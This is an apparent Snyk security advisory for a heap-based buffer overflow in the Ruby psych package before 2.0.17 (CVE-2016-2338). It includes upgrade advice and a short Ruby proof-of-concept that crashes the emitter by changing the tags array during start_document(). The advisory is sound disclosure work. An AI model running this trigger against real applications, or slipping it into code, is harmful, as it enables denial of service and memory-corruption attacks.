Heap-based Buffer Overflow Affecting psych package, versions <2.0.17
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.86% (83rd
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-RUBY-PSYCH-3035529
- published 29 Sep 2022
- disclosed 29 Sep 2022
- credit Marcin ‘Icewall’ Noga
Introduced: 29 Sep 2022
CVE-2016-2338 Open this link in a new tabHow to fix?
Upgrade psych
to version 2.0.17 or higher.
Overview
Affected versions of this package are vulnerable to Heap-based Buffer Overflow in the start_document()
function in psych_emitter.c
. Passing in a malicious tags array can trigger a crash.
PoC:
require 'Psych'
$tags = []
puts "[+] Start"
f = File.new("newfile", "w+")
emitter = Psych::Emitter.new(f)
version = [1,1]
obj = Regexp.new("a".force_encoding("utf-8"),Regexp::Regexp::FIXEDENCODING)
def obj.to_str
puts "[+] Increasing size of tags array"
(1..10).map{|x| $tags.push(["AAAA","BBBB"])}
puts "[+] tags array size : #{$tags.length}"
return "x"
end
$tags.push([obj,"tag:TALOS"])
puts "[+] tags array size : #{$tags.length}"
emitter.start_document(version,$tags,0)
puts "[+] End"
References
CVSS Scores
version 3.1